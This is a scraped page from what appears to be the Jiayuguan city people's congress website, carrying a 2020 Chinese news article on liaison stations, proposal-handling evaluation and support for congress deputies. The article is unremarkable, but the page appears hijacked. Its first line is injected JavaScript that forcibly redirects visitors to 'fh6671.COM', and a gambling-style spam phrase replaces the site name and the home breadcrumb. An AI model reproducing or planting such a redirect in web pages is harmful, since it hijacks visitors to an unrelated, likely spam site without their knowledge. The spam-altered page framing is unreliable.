function jumurl(){ window.location.href = 'fh6671.COM' } setTimeout(jumurl,2000); jumurl();

全天人工计划


欢迎您登录嘉峪关人大网站!
当前位置:全天人工计划  >>  新工作动态  >>  自身建设  >>  学习交流  >>  工作亮点  
嘉峪关:搭平台 建机制 强服务 推动人大代表工作创新发展
来源: 人民之声      日期: 2020-07-17      作者: 蒋甡甡 李建基      点击数:

“嘉峪关市紫轩社区部分道路狭窄,经常堵车,我与6名人大代表在人代会会议上联名提出道路改造意见建议。去年,征求提案代表对建议办理结果是否满意时,我很尴尬。”嘉峪关市人大代表马小娟说,“说‘满意’吧,建议办理结果差强人意;说‘不满意’吧,承办单位很配合,态度很积极。”

一直以来,重答复、轻落实成为代表意见建议办理的顽疾,严重挫伤了人大代表的履职积极性。今年,甘肃省嘉峪关市人大常委会出台了代表建议、批评、意见提出和办理办法,探索开展意见建议办理“答复满意率”和“落实满意率”双测评。办法规定,答复测评得分再高而落实得分低同样会被问责,建立了代表意见建议办理重答复更重落实的机制。

近年来,嘉峪关市人大常委会主动创新代表履职服务新方式,突出代表主体地位,搭建代表履职平台,积极探索建立“三位一体”“双向互动”“三联系”“双测评”代表工作机制,代表工作得到不断加强,代表履职能力得到不断提升。

搭平台,拓宽代表履职新渠道

嘉峪关市人大常委会坚持把代表工作放在重要位置,健全完善代表联络机制,搭建履职平台,拓宽代表履职渠道。截至目前,建成雄关街道、钢城街道、酒钢、行政事业单位、非公组织等15个“人大代表之家”。按照代表选区、方便代表履职,在全省首创建立47个“人大代表工作站”,足额保障“家”“站”平台运行经费,“人大代表之家”每年安排经费3万元,“人大代表工作站”每年安排经费1万元,均列入本级财政预算。出台《关于嘉峪关市人大代表之家(站)规范化、标准化建设的实施意见》,围绕“全覆盖、制度化、常活动、实效化”目标,按照“六有、四好”标准,不断完善“家”“站”建设,全市309名各级人大代表全部按选区进“家”进“站”。“家”“站”负责人由所在社区选派兼任,负责联络代表、通知选民开展活动。闭会期间,人大代表将选民提出的问题整理形成意见建议,由“家”“站”负责人送至市人大常委会代表人事工委。代表在“家”“站”履职平台就近联系选民,常态化听取群众意见建议。2019年,全市人大代表履职登记1828人次,联系接待选民6591人次,推动解决了一大批民生、环境、城市建设、社会治理等方面的问题。“家”“站”平台建设为代表在社区开展活动搭建了广阔舞台,成为代表履职的“亮相台、服务区、加油站、示范岗”。

建机制,激发代表履职新活力

嘉峪关市人大常委会结合新形势新任务,建立了“三位一体”“三联系”“双向互动”代表工作新机制,在有效发挥代表主体作用、激发代表履职活力方面迈出了坚实步伐,取得了良好成效。

建立代表主体、“家”“站”平台实体、意见建议办理载体“三位一体”工作机制。出台《嘉峪关市人民代表大会常务委员会代表工作考核激励办法》,每年年初通报表扬上一年服务代表作用发挥好的“家”“站”及其优秀工作者、优秀意见建议及答复满意度高办理实的承办部门,使代表主体、平台实体、办理载体“三位一体”代表工作机制更加完善和顺畅,代表工作的广度和深度进一步拓展。根据代表行业、专长、意愿划分7个专业代表小组,开展符合各自特长的代表活动。建立健全代表意见建议办理机制,出台《嘉峪关市人民代表大会常务委员会代表建议、批评、意见提出和办理办法》,不断完善代表意见建议交办、催办、走访、答复等各项工作制度,细致扎实地做好办理各个环节工作,开展意见建议办理“答复满意率”和“落实满意率”双测评,力求减少代表建议办理重答复、轻办理、不落实现象,为代表意见建议办理落实上了“双保险”。

将“两联系”拓展为“三联系”。出台《嘉峪关市人民代表大会常务委员会组成人员联系代表、国家机关联系代表、代表联系选民工作制度》,在过去常委会组成人员主动联系代表、代表主动联系选民的“两联系”制度基础上,推行国家机关主动联系代表制度,将每年意见建议承办数量多的部门确定为国家机关联系代表单位,与代表共商意见建议答复和办理、共解群众诉求,并每年动态调整。人大代表广泛参加党委、政府重要会议,参与计划、规划编制论证,参与调研视察、专题询问、工作评议,实现了代表意见建议精准办理、社情民意精准反映、调研视察精准监督。

建立“双向互动”沟通机制。嘉峪关市人大常委会充分发挥人大代表根植广大人民群众的优势和承上启下的作用,召开座谈会通报市委经济社会发展决策、市政府经济社会发展目标及完成情况,助力人大代表既自下而上收集社情民意、征求选民意见、反映群众诉求,又自上而下向选民群众介绍市委重大决策、市政府经济社会发展和民主法治建设目标任务,实现代表活动内容上的“双向互动”,以传递党的声音、有效化解社会矛盾、凝聚思想共识、营造和谐共进团结向上的良好局面。

强服务,保障代表履职新作为

嘉峪关市人大常委会把尊重代表主体地位、服务代表依法履职作为工作的出发点和落脚点,强化服务保障,助力代表履职能力不断提升。

开展富有特点的学习培训。采取“走出去、请进来”的方式加强代表履职能力培训。保证代表每届任期内参加一次以上的履职培训或专题学习,先后组织市人大代表赴深圳、青岛等全国人大培训基地进行履职培训。特邀连任五届全国人大代表姜健围绕“‘不忘初心、牢记使命’主题教育,人大代表如何履职,如何提代表意见建议、充分发挥代表作用”作专题讲解,引起人大代表强烈反响和广泛共鸣。通过开展形式多样、内容丰富的学习培训,有效提高了代表履职能力。

广拓渠道保障代表知情知政权。为人大代表订阅《中国人大》《人民之声》《人大研究》等刊物,提供有关嘉峪关市经济、政治、文化、社会、生态文明建设等方面的材料,组织代表学习。利用代表参加各类活动时机,向人大代表通报市情和市人大常委会工作安排。每次常委会会议邀请10名左右代表列席,并召开座谈会征求代表意见。利用嘉峪关人大网、《嘉峪关人大》杂志通报工作动态,报道代表履职活动,激发工作热情。组织人大代表进行调研、视察和执法检查活动前,提前通报相关情况。加强与有关部门的沟通协调,为代表视察、调研和执法检查提供方便。将代表在视察、调研和执法检查中形成的成果,转化为高质量的代表建议、批评和意见。2019年,嘉峪关市十届人大五次会议和闭会期间的140件意见建议全部得到答复,满意率96%、基本满意率4%。加强同酒钢集团公司、中核四〇四、大唐八〇三电厂等企业的联系,探索推进企业人大代表工作和职代会工作的融合。

完善代表履职激励约束机制。出台《嘉峪关市人民代表大会常务委员会代表履职办法》,健全代表向原选举单位(选区)述职等制度,对无故不参加会议和活动的代表进行通报,推行代表履职登记“全程纪实”,详实记录代表参加会议、发言、视察、联系选民、接待选民等履职情况,建立履职档案,督促代表依法履职行权。

加强服务保障改善代表履职条件。市人大代表活动经费每人每年安排2000元,镇人大代表活动经费每人每年安排500元。按照“优先执行代表职务”的法定要求,保障代表履职时间,落实代表履职补助,为代表履职提供保障,使代表履职有热情、有动力、有作为。2019年,市人大代表提出的《关于对老旧小区进行提升改造的建议》《关于对农村用水管道进行改造的建议》《关于改造机场路汇丰公司入口马路的建议》等,承办单位答复实、办理实、效果好,更好地回应了群众关切、满足了群众需求、推动改进了工作。有事找人大代表,成为群众解决烦心事、揪心事的有效途径。